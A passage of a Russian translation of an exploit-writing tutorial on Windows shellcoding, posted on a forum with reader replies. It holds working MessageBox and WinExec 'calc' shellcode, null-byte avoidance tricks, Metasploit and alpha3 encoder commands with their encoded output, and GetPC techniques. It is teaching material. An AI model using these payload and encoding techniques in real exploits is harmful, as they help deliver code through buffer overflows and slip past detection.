  $str2 = sprintf("%01x", ord($c) & 0x0f);
  if ($cnt < 8)
  {
    print "\\x".$str1.$str2;
    $cnt=$cnt+1;    
  }
  else
  {
    $cnt=1;
    print chr(34)."\n".chr(34)."\\x".$str1.$str2;
  }
  if (($str1 eq "0") && ($str2 eq "0"))
    {
      $nullbyte=$nullbyte+1;
    }
}
print chr(34).";\n";
print "\nNumber of null bytes : " . $nullbyte."\n";

Результат выполнения:

C:\shellcode>pveReadbin.pl msgbox.bin
Reading msgbox.bin
Read 78 bytes

"\x68\x6c\x61\x6e\x00\x68\x43\x6f"
"\x72\x65\x89\xe3\x68\x61\x6e\x20"
"\x00\x68\x6f\x72\x65\x6c\x68\x62"
"\x79\x20\x43\x68\x6e\x65\x64\x20"
"\x68\x6e\x20\x70\x77\x68\x20\x62"
"\x65\x65\x68\x68\x61\x76\x65\x68"
"\x59\x6f\x75\x20\x89\xe1\x31\xc0"
"\x50\x53\x51\x50\x50\xbe\xea\x07"
"\x45\x7e\xff\xe6\x31\xc0\x50\xb8"
"\x12\xcb\x81\x7c\xff\xe0";

Number of null bytes : 2

Вставьте этот код в “shellcodetest.c” и выполните make/compile и запустите:

Как видно это намного проще. С этого момента в этом уроке мы будем продолжать писать наш шеллкод непосредственно на ассемблере. Если вы с трудом понимаете ассемблерный код который мы писали выше, то прекратите чтение и прочтите заново.

Работа с нулевыми байтами

Если мы посмотрим на байт-код, который мы генерировали раньше, то заметите что все они содержат нулевые байты. Нулевые байты могут быть проблемой когда вы эксплуатируете уязвимость переполнения буфера, так как нуль означает завершение строки. Таким образом, одно из основных требований предъявляемых шеллкоду - это избегать нулевых байтов. Есть несколько способов это сделать:

  • Вы можете попытаться найти альтернативные инструкции
  • Восстановить исходные значения используя encoding (пример: MOV EBX, 0xEF5D5050 | ADD EBX, 11111111)

Албтернативные инструкции и кодирование команд

В какой-то момент в нашем примере мы должны были установить в EAX = 0. Если бы мы это сделали так - MOV EAX, 0, то в памяти процесса это выглядело бы так “\c7\xc0\x00\x00\x00\x00”. Вместо этого мы использовали XOR EAX, EAX. Это дало нам тот же результат и код операции не содержал нулевые байты. Так один из методов, чтобы избежать нулевых байтов состоит в поиске альтернативных команд, которые будут производить тот же результат.

Есть 2 способа кодиования шеллкода, 1-ый закодировать определенные онструкции, 2-ой закодировать весь шеллкод. О кодирование всего шеллкода поговорим позже, а пока давайте посмотрим как кодировать определенные инструкции. Наш пример содержит 2 инструкции в которых есть нулевые байты:

"\0x68\x6c\x61\x6e\x00 and "\x68\x61\x6e\x20\x00"

Решение 1: востановить первоночальное значение используя команды add and sub

Если мы вычтем 11111111 от 006E616C (=EF5D505B), записать результат в EBX, добавить 11111111 к EBX, а затем поместить в стек. Сделайте тоже самое для второй инструкции (это регистр ECX)

При сборке:

[BITS 32]

XOR EAX,EAX 
MOV EBX,0xEF5D505B      
ADD EBX,0x11111111     ;add 11111111
;EBX now contains last part of "Corelan" 
PUSH EBX               ;push it to the stack
PUSH 0x65726f43 
MOV EBX,ESP            ;save pointer to "Corelan" in EBX

;push "You have been pwned by Corelan"
MOV ECX,0xEF0F5D50     
ADD ECX,0x11111111
PUSH ECX
PUSH 0x6c65726f
PUSH 0x43207962
PUSH 0x2064656e
PUSH 0x7770206e
PUSH 0x65656220
PUSH 0x65766168
PUSH 0x20756f59
MOV ECX,ESP         ;save pointer to "You have been..." in ECX
  
PUSH EAX            ;put parameters on the stack
PUSH EBX
PUSH ECX
PUSH EAX
PUSH EAX

MOV ESI,0x7E4507EA
JMP ESI              ;MessageBoxA

XOR EAX,EAX          ;clean up
PUSH EAX
MOV EAX,0x7c81CB12
JMP EAX              ;ExitProcess(0)

Конечно это увеличивает размер нашего шеллкода, но зато мы не используем нулевые байты.

После компиляции asm файла, а также извлечения байтов из bin файла, мы получим:

C:\shellcode>perl pveReadbin.pl msgbox2.bin
Reading msgbox2.bin
Read 92 bytes

"\x31\xc0\xbb\x5b\x50\x5d\xef\x81"
"\xc3\x11\x11\x11\x11\x53\x68\x43"
"\x6f\x72\x65\x89\xe3\xb9\x50\x5d"
"\x0f\xef\x81\xc1\x11\x11\x11\x11"
"\x51\x68\x6f\x72\x65\x6c\x68\x62"
"\x79\x20\x43\x68\x6e\x65\x64\x20"
"\x68\x6e\x20\x70\x77\x68\x20\x62"
"\x65\x65\x68\x68\x61\x76\x65\x68"
"\x59\x6f\x75\x20\x89\xe1\x50\x53"
"\x51\x50\x50\xbe\xea\x07\x45\x7e"
"\xff\xe6\x31\xc0\x50\xb8\x12\xcb"
"\x81\x7c\xff\xe0";

Number of null bytes : 0

Чтобы доказать что это работает, выполните его в Easy RM to MP3 Converter из первого урока

Решение 2: снайпер: точность бомбардировки нуль байтов

Второй метод заключается в следуюющем:

* Установить регистр EAX в нуль --------------------------> XOR EAX,EAX
* Вершину стека поместить в EBP -------------------------> MOV EBP, ESP
* Положить в стек значение без нулевых байтов -------> PUSH 0xFF6E616C
* Изменить значение в стеке на нулевые байты --------> MOV [EBP-1], AL
[BITS 32]

[COLOR="red"]XOR EAX,EAX     ;set EAX to zero[/COLOR]
MOV EBP,ESP     ;set EBP to ESP so we can use negative offset
[COLOR="red"]PUSH 0xFF6E616C ;push part of string to stack[/COLOR]
[COLOR="red"]MOV [EBP-1],AL  ;overwrite FF with 00[/COLOR]
PUSH 0x65726f43 ;push rest of string to stack
MOV EBX,ESP     ;save pointer to "Corelan" in EBX

[COLOR="red"]PUSH 0xFF206E61 ;push part of string to stack
MOV [EBP-9],AL  ;overwrite FF with 00[/COLOR]
PUSH 0x6c65726f ;push rest of string to stack
PUSH 0x43207962
PUSH 0x2064656e
PUSH 0x7770206e
PUSH 0x65656220
PUSH 0x65766168
PUSH 0x20756f59
MOV ECX,ESP         ;save pointer to "You have been..." in ECX

PUSH EAX            ;put parameters on the stack
PUSH EBX
PUSH ECX
PUSH EAX
PUSH EAX

MOV ESI,0x7E4507EA
JMP ESI              ;MessageBoxA

XOR EAX,EAX          ;clean up
PUSH EAX
MOV EAX,0x7c81CB12
JMP EAX              ;ExitProcess(0) 

Решение 3: Этот метод использует тот же принцип, разница лишь в том что мы сначала кладем в стек нули, а потом меняем нужные нам байты. Вот пример:

[BITS 32]

XOR EAX,EAX     ;set EAX to zero
MOV EBP,ESP     ;set EBP to ESP so we can use negative offset
PUSH EAX
MOV BYTE [EBP-2],6Eh  ;
MOV BYTE [EBP-3],61h  ;
MOV BYTE [EBP-4],6Ch  ;
PUSH 0x65726f43 ;push rest of string to stack
MOV EBX,ESP     ;save pointer to "Corelan" in EBX

Последние два метода увиличивают размер шеллкода, но они работают отлично.

Решение 4: XOR

Этот метод состоит в том чтобы установить конкретные значения в регистры, а точнее нам нужны 2 регистра,
которые будут ксориться. Итак, вы хотите положить 0x006E616C в стек. Сделайте это:

  • Откройте калькулятор и установите режим Инженерный (для XP)
  • Введите 777777FF
  • Нажмите XOR
  • И еще раз введите 006E616C

Резельтат: 77191693

Теперь поместите каждое значение (777777FF и 77191693) в регистры, а потом XOR и полученное значение в стек

[BITS 32]

[COLOR="red"]MOV EAX,0x777777FF
MOV EBX,0x77191693
XOR EAX,EBX     ;EAX now contains 0x006E616C
PUSH EAX        ;push it to stack[/COLOR]
PUSH 0x65726f43 ;push rest of string to stack
MOV EBX,ESP     ;save pointer to "Corelan" in EBX

[COLOR="red"]MOV EAX,0x777777FF
MOV EDX,0x7757199E  ;Don't use EBX because it already contains
                    ;pointer to previous string
XOR EAX,EDX     ;EAX now contains 0x00206E61
PUSH EAX        ;push it to stack[/COLOR]
PUSH 0x6c65726f ;push rest of string to stack
PUSH 0x43207962
PUSH 0x2064656e
PUSH 0x7770206e
PUSH 0x65656220
PUSH 0x65766168
PUSH 0x20756f59
MOV ECX,ESP         ;save pointer to "You have been..." in ECX

XOR EAX,EAX     ;set EAX to zero
PUSH EAX            ;put parameters on the stack
PUSH EBX
PUSH ECX
PUSH EAX
PUSH EAX

MOV ESI,0x7E4507EA
JMP ESI              ;MessageBoxA

XOR EAX,EAX          ;clean up
PUSH EAX
MOV EAX,0x7c81CB12
JMP EAX              ;ExitProcess(0)

Запомните этот метод - вы увидите улучшенную технику этого метода далее.

Решение 5: Регистры: 32bit->16bit->8bit

Допустим, вам надо положить 1 в cтек

PUSH 0x1

Байт код выглядит следующим образом

\x68\x01\x00\x00\x00

Вы можете избежать нулевые байты следующим образом

XOR EAX,EAX
MOV AL,1
PUSH EAX

Байт код выглядит следующим образом

\x31\xc0\xb0\x01\x50

Давайте сравним оба

[BITS 32]

PUSH 0x1
INT 3
XOR EAX,EAX
MOV AL,1
PUSH EAX
INT 3

Оба байт кода по 5 байт, это позволяет избежать нулевых байтов и размер шеллкода не увеличивается.

Решение 6: использование альтернативных инструкций

Предыдущий пример (положить 1 в стек) может быть записанно так

XOR EAX,EAX
INC EAX
PUSH EAX
\x31\xc0\x40\x50

Всего 4 байта… так что вы можете даже ученьшить число байтов будучи немного творчески

или вы можете попробовать сделать так

\x6A\x01

Это также выполнить PUSH 1 и только 2 байта…

Решение 7: Заменить нулевой байт хекс значением пробела(0x20):

XOR EAX,EAX
PUSH EAX
PUSH 0x206e616c     ;push "Corelan " to stack
PUSH 0x65726f43

Вывод:

Это лишь некоторые из многих методов, чтобы избежать нулевых байтов. Все перечисленные ранее методы дают вам представление как это можно реализовать.

Encoders: кодирование полезной нагрузки

Вместо того, чтобы изменять отдельные инструкции, вы могли бы использовать технику кодирования, которая будет кодировать весь шеллкод. Этот метод часто используется чтобы избежать плохих символов… нулевой байт считается плохим сомволом. Так что настало время написать о payload encoding.

(Payload) Encoders

Кодировщики используюстся не только чтобы отфильтровать нулевые байты. Они могут быть использованы чтобы отфильтровать плохие символы в целом (или преодолеть ограничение на количество символов).

Bad characters are not shellcode specific – they are exploit specific. They are the result of some kind of operation that was executed on your payload before your payload could get executed. (For example replacing spaces with underscores, or converting input to uppercase, or in the case of null bytes, would change the payload buffer because it gets terminated/truncated)

Как мы можем обнаружить плохие символы?

Обнаружение плохих символв

Лучший способ обнаружить плохие символы в шеллкоде, это поместить ваш шеллкод в память и сравнить его с оригинальным шеллкодом о посмотреть различия. Вы можете сделать это вручную (сравнить байты в памяти и в оригинальном шеллкоде), но это займет некоторое время.

Вы также можете использовать плагин для отладчика: WinDbg: Bykugan (см. туториал 5) или Immunity Dbg: pvefindaddr.

Во-первых, запишите шеллкод в файл (pveWritebin.pl - см ранее в этом документе)… например: C:\Tmp\shellcode.bin. Далее приатачтесь к процессу к котором вы хотете выполнить ваш шеллкод. Когда произойдет сбой приложения (или остановка из-за точки останова которую вы установили), выполните следующую команду для сравнения шеллкода в файле с шеллкодом в памяти:

!pvefindaddr compare c:\tmp\shellcode

Если похие символы были найдены (или шеллкод был усечен из-за нулевого байта) вы уидите это в лог окне ImmDbg.

Если вы уже знаете какия являются плохие символы, вы можете использовать другую технику. Предположим что плохие символы являются эти: 0x48, 0x65, 0x6c, 0x6f, 0x20, то вы можете использовать SkyLined-x beta3:

beta3.py --badchars 0x48,0x65,0x6C,0x6F,0x20 shellcode.bin

Если один из этих символов будет найден, их положение в шеллкоде будет указано.

Encodres: Metasploit

Когда количество символов для шеллкода ограничено, может потребоваться кодер, чтобы проедолеть эти ограничения. Кодер снабдит наш шеллкод декодером, который декодирует наш шеллкод или измент наш шеллкод, в котором не будет плохих символов.

Наиболее часто используемые декодеры являются те, что имеются в Metasploit, и написанные SkyLined (alpha2 / alpha3). Давайте посмотрим что делают Metasploit декодеры и как они работают (чтобы вы знали когда и какой использовать декодер). Вы можете получить список всех декодеров, запустив команду ./msfencode -l. Поскольку я ориентируюсь на win32 платформу, мы рассмотрим те, которые написанны для x86.

./msfencode -l -a x86 

Framework Encoders (architectures: x86)
=======================================

 Name                    Rank       Description
 ----                    ----       -----------
 generic/none            normal     The "none" Encoder
 x86/alpha_mixed         low        Alpha2 Alphanumeric Mixedcase Encoder
 x86/alpha_upper         low        Alpha2 Alphanumeric Uppercase Encoder
 x86/avoid_utf8_tolower  manual     Avoid UTF8/tolower
 x86/call4_dword_xor     normal     Call+4 Dword XOR Encoder
 x86/countdown           normal     Single-byte XOR Countdown Encoder
 x86/fnstenv_mov         normal     Variable-length Fnstenv/mov Dword XOR Encoder
 x86/jmp_call_additive   normal     Jump/Call XOR Additive Feedback Encoder
 x86/nonalpha            low        Non-Alpha Encoder
 x86/nonupper            low        Non-Upper Encoder
 x86/shikata_ga_nai      excellent  Polymorphic XOR Additive Feedback Encoder
 x86/single_static_bit   manual     Single Static Bit
 x86/unicode_mixed       manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
 x86/unicode_upper       manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

Кодер по умолчанию в Metasploit является shikata_ga_nai, поэтому его мы россмотрим подробней.

x86 / shikata_ga_nai

Давайте используем наш оригинальный шеллкод msgbox.bin (с нулевыми байтами) и закодируем его с помошью shikata_ga_nai, отфильтровывая нулевые байты:

Оригинальный шеллкод

C:\shellcode>perl pveReadbin.pl msgbox.bin
Reading msgbox.bin
Read 78 bytes

"\x68\x6c\x61\x6e\x00\x68\x43\x6f"
"\x72\x65\x89\xe3\x68\x61\x6e\x20"
"\x00\x68\x6f\x72\x65\x6c\x68\x62"
"\x79\x20\x43\x68\x6e\x65\x64\x20"
"\x68\x6e\x20\x70\x77\x68\x20\x62"
"\x65\x65\x68\x68\x61\x76\x65\x68"
"\x59\x6f\x75\x20\x89\xe1\x31\xc0"
"\x50\x53\x51\x50\x50\xbe\xea\x07"
"\x45\x7e\xff\xe6\x31\xc0\x50\xb8"
"\x12\xcb\x81\x7c\xff\xe0";

Отфильтровынные нулевые байты

./msfencode -b '\x00' -i /pentest/exploits/shellcode.bin -t c   
[*] x86/shikata_ga_nai succeeded with size 105 (iteration=1)

unsigned char buf[] = 
"\xdb\xc9\x29\xc9\xbf\x63\x07\x01\x58\xb1\x14\xd9\x74\x24\xf4"
"\x5b\x83\xc3\x04\x31\x7b\x15\x03\x7b\x15\x81\xf2\x69\x34\x24"
"\x93\x69\xac\xe5\x04\x18\x49\x60\x39\xb4\xf0\x1c\x9e\x45\x9b"
"\x8f\xac\x20\x37\x27\x33\xd2\xe7\xf4\xdb\x4a\x8d\x9e\x3b\xfb"
"\x23\x7e\x4c\x8c\xd3\x5e\xce\x17\x41\xf6\x66\xb9\xff\x63\x1f"
"\x60\x6f\x1e\xff\x1b\x8e\xd1\x3f\x4b\x02\x40\x90\x3c\x1a\x88"
"\x17\xf8\x1c\xb3\xfe\x33\x21\x1b\x47\x21\x6a\x1a\xcb\xb9\x8c";

Не волнуйтесь если выход выглядит по другому на вашей системе. Примечание : Декодер увеличил шеллкод с 78 до 105 байт.

Загрузите в отладчик (с помощью проложения shellcodetest.c), закодированный шеллкод выглядит так:

Дойдите до иструкции XOR DWORD PTR DS:[EBX+15], EDI нажимая F7, остановитесь и обратите внимание на инструкцию XOR EDX, 93243469, теперь еще раз нажмите F7 и вы увидите что она измениться на инструкцию LOOPD:

С этого момента начинается цикл, который будет воспроизводить исходный код… но как этот кодер/декодер действительно работает?

Когда декодер работает, происходит следующее:

  • FCMOVNE ST, ST (1) - это инструкция FPU, необходима для FSTENV инструкции - увидим позже
  • SUB ECX, ECX
  • MOV EDI, 58010763 - начальное значение для использования операции XOR
  • MOV CL, 14 - устанавливает счетчик (ECX) в 14. ADD EBX, 4 чтобы декодировать по 4 байта (так 14h x 4 = 80 байт) наш первоночальный шеллкод 78 байт, так что это имеет смысл.
  • FSTENV PTR SS: [ESP - C] - чтобы получить адрес первой FPU инструкции то есть ее ->FCMOVNE . Необходимо чтоб хотя бы одна FPU инструкция была выполнена перед FSTENV инструкцией (FLDPI должен тоже работать).
  • POP EBX - поместит в EBX адрес первой инструкции, то есть -> FCMOVNE ST, ST (1)

Ладно, это начинает иметь смысл. Первая инструкция использовалась чтобы определить адрес начала декодера, а затем определить где будет начинаться цикл. Это объясняет почему инструкция LOOPD изначально не была частью декодера (декодеру необходимо определить свой собственный адрес, прежде чем он могбы написать инструкцию LOOPD).

Цикл декодирования состоит из этих инструкций:

ADD EBX,4
XOR DWORD PTR DS: [EBX+15], EDI
ADD EDI, DWORD PTR DS: [EBX+15]

После того как счетчик (ECX) достигнет 1, оригинальный шеллкод будет находиться ниже LOOPD инструкции:

Посмотрите на описание декодера в Metasploit:

x86/shikata_ga_nai      excellent  Polymorphic XOR Additive Feedback Encoder

Обратите внимание на слово Polymorphic (полиморфный). Это означает что каждый раз когда вы используете кодер он изменяет некоторые вещи:

  • Значение которое он помещает в ESI (см. ниже на рис.)
  • Адрес, начала FPU инструкции
  • Регистры, используемые для отслеживания положения в памяти (EBX п примере веше, EDX на рисунке ниже) так же изменяются.

В общем, значения переменных и регистров меняются, но без изменения общей концепции лежащей в основе декодера, что делает эту полезную нагрузку “полиморфной” / трудно обнаружить.

x86 / alpha_mixed

Это наш закодорованный пример MsgBox шеллкод, размер которого 218 байт:

./msfencode -e x86/alpha_mixed -b '\x00' -i /pentest/exploits/shellcode.bin -t c 
[*] x86/alpha_mixed succeeded with size 218 (iteration=1)

unsigned char buf[] = 
"\x89\xe3\xda\xc3\xd9\x73\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x43\x58\x42\x4c\x45\x31\x42\x4e\x45\x50\x42\x48\x50\x43\x42"
"\x4f\x51\x62\x51\x75\x4b\x39\x48\x63\x42\x48\x45\x31\x50\x6e"
"\x47\x50\x45\x50\x45\x38\x50\x6f\x43\x42\x43\x55\x50\x6c\x51"
"\x78\x43\x52\x51\x69\x51\x30\x43\x73\x42\x48\x50\x6e\x45\x35"
"\x50\x64\x51\x30\x45\x38\x42\x4e\x45\x70\x44\x30\x50\x77\x50"
"\x68\x51\x30\x51\x72\x43\x55\x50\x65\x42\x48\x45\x38\x45\x31"
"\x43\x46\x42\x45\x50\x68\x42\x79\x50\x6f\x44\x35\x51\x30\x4d"
"\x59\x48\x61\x45\x61\x4b\x70\x42\x70\x46\x33\x46\x31\x42\x70"
"\x46\x30\x4d\x6e\x4a\x4a\x43\x37\x51\x55\x43\x4e\x4b\x4f\x4b"
"\x56\x46\x51\x4f\x30\x50\x50\x4d\x68\x46\x72\x4a\x6b\x4f\x71"
"\x43\x4c\x4b\x4f\x4d\x30\x41\x41";

Если вы обратили внимание, большая часть шеллкода состоит из буквенно-цифровых символов. Основная концепция этого кодера, чтобы воспроизвести исходный код с помощью петли(цикла), выполняя определенные операции над буквенно-цифровыми символами. Это похоже на кодер shikata_ga_nai, но использует другой (ограниченный) набор команд и различные операции.

x86 / FNSTENV_MOV

Еще один декодер похожий на те что мы рассматривали ранее, который делает это:

  • getpc (см. ниже)
  • Воспроизводить исходный код (так или иначе - эта техника является специфичной для каждого кодера/декодера)
  • Перейти квоспроизвнденному шеллкоду и выпонить его

Пример: WinExec “Calc” шеллкод закодированный с помощью fnstenv_mov выглядит так:

"\x6a\x33\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x48"
"\x9d\xfb\x3b\x83\xeb\xfc\xe2\xf4\xb4\x75\x72\x3b\x48\x9d" 
"\x9b\xb2\xad\xac\x29\x5f\xc3\xcf\xcb\xb0\x1a\x91\x70\x69" 
"\x5c\x16\x89\x13\x47\x2a\xb1\x1d\x79\x62\xca\xfb\xe4\xa1" 
"\x9a\x47\x4a\xb1\xdb\xfa\x87\x90\xfa\xfc\xaa\x6d\xa9\x6c" 
"\xc3\xcf\xeb\xb0\x0a\xa1\xfa\xeb\xc3\xdd\x83\xbe\x88\xe9" 
"\xb1\x3a\x98\xcd\x70\x73\x50\x16\xa3\x1b\x49\x4e\x18\x07" 
"\x01\x16\xcf\xb0\x49\x4b\xca\xc4\x79\x5d\x57\xfa\x87\x90" 
"\xfa\xfc\x70\x7d\x8e\xcf\x4b\xe0\x03\x00\x35\xb9\x8e\xd9" 
"\x10\x16\xa3\x1f\x49\x4e\x9d\xb0\x44\xd6\x70\x63\x54\x9c" 
"\x28\xb0\x4c\x16\xfa\xeb\xc1\xd9\xdf\x1f\x13\xc6\x9a\x62" 
"\x12\xcc\x04\xdb\x10\xc2\xa1\xb0\x5a\x76\x7d\x66\x22\x9c" 
"\x76\xbe\xf1\x9d\xfb\x3b\x18\xf5\xca\xb0\x27\x1a\x04\xee" 
"\xf3\x6d\x4e\x99\x1e\xf5\x5d\xae\xf5\x00\x04\xee\x74\x9b" 
"\x87\x31\xc8\x66\x1b\x4e\x4d\x26\xbc\x28\x3a\xf2\x91\x3b" 
"\x1b\x62\x2e\x58\x29\xf1\x98\x15\x2d\xe5\x9e\x3b\x42\x9d" 
"\xfb\x3b";

Код в отладчике выглядит так:

  • Push 33 + Pop Ecx = помещает 33 в Ecx. Это значение будет использоваться в качестве счетчика для цикла, чтобы воспроизвести оригинильный шеллкод
  • FLDZ + FSTENV: используется для определения адреса как и в примере с shikata_ga_nai
  • Pop Ebx - результат последних 2 инструкций ставиться в Ebx
  • Sub Ebx, -4 - куда мы будем писать следующие 4 байта
  • Loopd Short - прыжок обратно к инстр. XOR и уменьшит Ecx пока Ecx не равен нулю

Когда код будет полностью воспроизведен мы увидим

Вызов Call testshel.00402225 (основная функция шеллкода) - для получения строки calc.exe (нужна для WinExec)

Не беспокойтесь о том как находиться функция WinExec и т.д - вы узнаете все об этом в следующих главах.

Потратьте время, чтобы посмотреть как различные кодеры/декодеры выполняют свою работу. Это знание может быть важно, если вам нужно настроить код.

Encoders: SkyLined alpha3

SkyLined недавно выпустила утилиту кодирования alpha3 (улучшенная версия alpha2, уже обсуждавшаяся мною в Unicode руководстве). Alpha3 будет происводить 100% буквенно-цифровой код и предлагает некоторые другие функции, которые могут пригодиться при написании шеллкода. Определенно стоит проаерить!

Маленький пример: предположим, что вы написали свой Unicode шеллкод в calc.bin, то вы можете использовать эту команду, чтобы проебразовать его в Latin-1 совместимый шеллкод.

ALPHA3.cmd x86 latin-1 call --input=calc.bin > calclatin.bin

Затем преобразовать его в байт код:

perl pveReadbin.pl calclatin.bin
Reading calclatin.bin
Read 405 bytes

"\xe8\xff\xff\xff\xff\xc3\x59\x68"
"\x66\x66\x66\x66\x6b\x34\x64\x69"
"\x46\x6b\x44\x71\x6c\x30\x32\x44"
"\x71\x6d\x30\x44\x31\x43\x75\x45"
"\x45\x35\x6c\x33\x4e\x33\x67\x33"
"\x7a\x32\x5a\x32\x77\x34\x53\x30"
"\x6e\x32\x4c\x31\x33\x34\x5a\x31"
"\x33\x34\x6c\x34\x47\x30\x63\x30"
"\x54\x33\x75\x30\x31\x33\x57\x30"
"\x71\x37\x6f\x35\x4f\x32\x7a\x32"
"\x45\x30\x63\x30\x6a\x33\x77\x30"
"\x32\x32\x77\x30\x6e\x33\x78\x30"
"\x36\x33\x4f\x30\x73\x30\x65\x30"
"\x6e\x34\x78\x33\x61\x37\x6f\x33"
"\x38\x34\x4f\x35\x4d\x30\x61\x30"
"\x67\x33\x56\x33\x49\x33\x6b\x33"
"\x61\x37\x6c\x32\x41\x30\x72\x32"
"\x41\x38\x6b\x33\x48\x30\x66\x32"
"\x41\x32\x43\x32\x43\x34\x48\x33"
"\x73\x31\x36\x32\x73\x30\x58\x32"
"\x70\x30\x6e\x31\x6b\x30\x61\x30"
"\x55\x32\x6b\x30\x55\x32\x6d\x30"
"\x53\x32\x6f\x30\x58\x37\x4b\x34"
"\x7a\x34\x47\x31\x36\x33\x36\x35"
"\x4b\x30\x76\x37\x6c\x32\x6e\x30"
"\x64\x37\x4b\x38\x4f\x34\x71\x30"
"\x68\x37\x6f\x30\x6b\x32\x6c\x31"
"\x6b\x30\x37\x38\x6b\x34\x49\x31"
"\x70\x30\x33\x33\x58\x35\x4f\x31"
"\x33\x34\x48\x30\x61\x34\x4d\x33"
"\x72\x32\x41\x34\x73\x31\x37\x32"
"\x77\x30\x6c\x35\x4b\x32\x43\x32"
"\x6e\x33\x5a\x30\x66\x30\x46\x30"
"\x4a\x30\x42\x33\x4e\x33\x53\x30"
"\x79\x30\x6b\x34\x7a\x30\x6c\x32"
"\x72\x30\x72\x33\x4b\x35\x4b\x31"
"\x35\x30\x39\x35\x4b\x30\x5a\x34"
"\x7a\x30\x6a\x33\x4e\x30\x50\x38"
"\x4f\x30\x64\x33\x62\x34\x57\x35"
"\x6c\x33\x41\x33\x62\x32\x79\x32"
"\x5a\x34\x52\x33\x6d\x30\x62\x30"
"\x31\x35\x6f\x33\x4e\x34\x7a\x38"
"\x4b\x34\x45\x38\x4b\x31\x4c\x30"
"\x4d\x32\x72\x37\x4b\x30\x43\x38"
"\x6b\x33\x50\x30\x6a\x30\x52\x30"
"\x36\x34\x47\x30\x54\x33\x75\x37"
"\x6c\x32\x4f\x35\x4c\x32\x71\x32"
"\x44\x30\x4e\x33\x4f\x33\x6a\x30"
"\x34\x33\x73\x30\x36\x34\x47\x34"
"\x79\x32\x4f\x32\x76\x30\x70\x30"
"\x50\x33\x38\x30\x30";

Вы можете использовать этот превосходный мануал (http://www.uninformed.org/?v=5&a=3&t=sumry), как реализовать x86 encoder

Найти себя: GetPC

Когда мы рассматривали декодеры shikata_ga_nai и fstenv_mov, мы заметили ловкий трюк основанный на иструкции FPU, чтобы получить адрес где будет расположен шеллкод. Методика основана на этой концепции:

  • Выпослнить любую FPU инструкцию
  • Затем выполнить инструкцию - FSTENV PTR SS: [ESP - C]

С помошью этих 2 команд мы можем получить адрес последней FPU команды. FSTENV сохранит это состояние, адрес которой будет сохранен по смещению 0xC. Если после инструкции FSTENV выполнить операцию POP + регистр, то адрес FPU инструкции будет помещен в регистр который мы указали. И приятно что эти 2 команды не содеожат нулевых байтов. Очень ловкий трюк на самом деле!

Этот медот часто называют “GetPC” или “Get Program Counter”. Его особенность это:

  • Полное перемещение в памяти (так что он может найти себя, независимо от того, где он находиться в памяти)
  • Возможность ссылаться на декодер или верхнюю часть кодированного шеллкода, или функцию в шеллкоде, с помощью базоваго адреса + смещение… вместо того, чтобы перейти к нужному адресу при помощи байт-кода который содержит нулевые байты.

Пример:

[BITS 32]
FLDPI
FSTENV [ESP-0xC]
POP EBX

Байт-код:

"\xd9\xeb\x9b\xd9\x74\x24\xf4\x5b";

Другой способ получить PC (Program Counter):

[BITS 32]
jmp short corelan
geteip:
  pop esi
  call esi      ;this will jump to decoder
corelan:
  call geteip
  decoder:      
    ; decoder goes here

  shellcode:
    ; encoded shellcode goes here

Дополнительный материал -> http://skypher.com/wiki/index.php?title=Hacking/Shellcode/GetPC

© Translated by gavz from r0 Crew

#2

Спасибо за работу над переводом! Скоро перенесу перевод 10 главы.

#3

Спасибо, весьма полезный материал. Особенно радует, что тут юзается Perl, а не питон.

Единственное - у меня пример (где “You have been pwned by Corelan”) почему-то падает на мессаджебоксе. Мессаджбокс выводится, но сама прога падает с ошибкой доступа. Win7x64